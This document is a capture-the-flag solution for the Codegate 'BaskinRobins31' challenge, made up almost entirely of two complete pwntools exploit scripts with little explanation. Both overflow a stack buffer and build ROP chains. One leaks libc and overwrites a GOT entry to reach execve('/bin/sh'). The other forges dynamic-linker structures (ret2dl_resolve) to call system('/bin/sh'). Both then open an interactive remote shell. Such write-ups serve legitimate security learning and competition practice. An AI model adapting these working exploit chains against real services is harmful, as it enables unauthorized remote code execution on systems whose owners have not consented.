Solved in two ways (jit-ROP and ret2dl_resolve )
### Using jit-ROP```pythonfrom pwn import *
context(os='linux', arch='amd64')context.log_level = 'info'context.terminal = ['tmux', 'splitw', '-h']
RHOST = "ch41l3ng3s.codegate.kr"RPORT = 3131LHOST = "127.0.0.1"LPORT = 4444BINARY = 'BaskinRobins31'elf = ELF(BINARY)
conn = Noneif len(sys.argv) > 1:    if sys.argv[1] == 'r':        conn = remote(RHOST, RPORT)    elif sys.argv[1] == 'l':        conn = remote(LHOST, LPORT)    elif sys.argv[1] == 'a':        conn = remote(LHOST, LPORT)        f = open("cmd", "r")        time.sleep(0.5)        pid = proc.pid_by_name(BINARY)        gdb.attach(pid[0], f)    elif sys.argv[1] == 'd':        gdb_cmd = """        b * your_turn + 214        c         """        conn = gdb.debug([BINARY], gdb_cmd)else:    conn = process([BINARY])
#-----------START EXPLOIT CODE-----------#deadbeef = 0xdeadbeefdeadbeefbss_stack = elf.bss() + 0x400bss_str = elf.bss() + 0x800read_plt = elf.plt[b'read']write_plt = elf.plt[b'write']puts_plt = elf.plt[b'puts']sleep_plt = elf.plt[b'sleep']
read_got = elf.got[b'read']sleep_got = elf.got[b'sleep']pop3 = 0x0040087a  # 0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret  ; leave_ret = 0x00400979 #: leave  ; ret  ; 
leak_size = 0x100
# leak read_addrpayload = b'A' * (0xb0)payload += p64(bss_stack)payload += p64(pop3)payload += p64(1)payload += p64(read_got)payload += p64(8)payload += p64(write_plt)
# stack pivotpayload += p64(pop3)payload += p64(0)payload += p64(bss_stack)payload += p64(0x200)payload += p64(read_plt)payload += p64(leave_ret)
conn.sendafter('take ? (1-3)', payload)conn.recvuntil(b"Don't break the rules...:( \n")read_addr = u64(conn.recv(8))
# leak read binarypayload2 = b'A' * 8payload2 += p64(pop3)payload2 += p64(1)payload2 += p64(read_addr)payload2 += p64(leak_size)payload2 += p64(write_plt)
# got overwrite sleep -> syscallpayload2 += p64(pop3)payload2 += p64(0)payload2 += p64(sleep_got)payload2 += p64(0x8)payload2 += p64(read_plt)
# binsh & *binsh to bsspayload2 += p64(pop3)payload2 += p64(0)payload2 += p64(bss_str)payload2 += p64(59)  # systemcall num 59 == execvepayload2 += p64(read_plt)
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)payload2 += p64(pop3)payload2 += p64(bss_str)payload2 += p64(0)payload2 += p64(0)payload2 += p64(sleep_plt)payload2 += b'A' * (0x200 - len(payload2))
conn.send(payload2)read_binary = conn.recv()syscall_addr = read_addr + read_binary.index(b'\x0f') # find syscall byteconn.send(p64(syscall_addr))binsh = b'/bin/sh\x00'binsh += b'A' * (59 - len(binsh))conn.send(binsh)conn.interactive()```
-----
### Using ret2dl_resolve
```pythonfrom pwn import *
context(os='linux', arch='amd64')context.log_level = 'info'
RHOST = "ch41l3ng3s.codegate.kr"RPORT = 3131LHOST = "127.0.0.1"LPORT = 4444BINARY = 'BaskinRobins31'elf = ELF(BINARY)
conn = Noneif len(sys.argv) > 1:    if sys.argv[1] == 'r':        conn = remote(RHOST, RPORT)    elif sys.argv[1] == 'l':        conn = remote(LHOST, LPORT)    elif sys.argv[1] == 'a':        conn = remote(LHOST, LPORT)        f = open("cmd", "r")        time.sleep(0.5)        pid = proc.pid_by_name(BINARY)        gdb.attach(pid[0], f)    elif sys.argv[1] == 'd':        gdb_cmd = """        b * your_turn + 214        c         """        conn = gdb.debug([BINARY], gdb_cmd)else:    conn = process([BINARY])
#-----------START EXPLOIT CODE-----------#deadbeef = 0xdeadbeefdeadbeefbss_stack = elf.bss() + 0x800read_plt = elf.plt[b'read']write_plt = elf.plt[b'write']puts_plt = elf.plt[b'puts']
read_got = elf.got[b'read']pop3 = 0x0040087a  # 0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret  ; leave_ret = 0x00400979 #: leave  ; ret  ; 
link_map_ptr = 0x602008dl_resolve = 0x4006a0
dynsym = 0x4002c0dynstr = 0x400440rela_plt = 0x400558
# leak link_map addrpayload = b'A' * (0xb0)payload += p64(bss_stack)payload += p64(pop3)payload += p64(1)payload += p64(link_map_ptr)payload += p64(8)payload += p64(write_plt)
# inject fake stackpayload += p64(pop3)payload += p64(0)payload += p64(bss_stack)payload += p64(0x200)payload += p64(read_plt)payload += p64(leave_ret)
conn.sendafter('take ? (1-3)', payload)conn.recvuntil(b"Don't break the rules...:( \n")link_map_addr = conn.recv(8)link_map_addr = u64(link_map_addr)dt_versymaddr = link_map_addr + 0x1c8
# make fake stackpayload2 = b"A" * 8payload2 += p64(pop3)payload2 += p64(0)payload2 += p64(dt_versymaddr)payload2 += p64(8)payload2 += p64(read_plt)
# ret2dl_resolve## system("/bin/sh")reloc_addr = bss_stack + 48  * 2 # dl_resolve rop size = 8 * 6 * 2 = 96reloc_align = 0x18 - ((reloc_addr - rela_plt) % 0x18)reloc_addr += reloc_align # padding
sym_addr = reloc_addr + 0x18 # reloc struct size = 0x18sym_align = 0x18 - ((sym_addr - dynsym) % 0x18)sym_addr += sym_align # padding
symstr_addr = sym_addr + 0x18 # sym struct size = 0x18cmd_addr = symstr_addr + 7 # system\x00 size = 7
reloc_offset = (reloc_addr - rela_plt) // 0x18r_info = (((sym_addr - dynsym) // 0x18) << 32) | 0x07 # R_386_JMP_SLOT (=7) (0000000X|00000007)st_name = (symstr_addr - dynstr)
payload2 += p64(pop3)payload2 += p64(cmd_addr)payload2 += p64(deadbeef)payload2 += p64(deadbeef)payload2 += p64(dl_resolve)payload2 += p64(reloc_offset)
## fake relfake_rel = b"A" * reloc_alignfake_rel += p64(read_got)fake_rel += p64(r_info)fake_rel += p64(0)
## fake symtabfake_symtab = b"A" * sym_alignfake_symtab += p32(st_name)fake_symtab += p32(0x12)fake_symtab += p64(0)fake_symtab += p64(0)
# fake strcmd = b"system\x00" + b"/bin/sh\x00"
payload2 += fake_rel + fake_symtab + cmd
# send fake structsconn.sendline(payload2)log.info("wait 5sec")sleep(5)conn.sendline(p64(0))conn.interactive()
```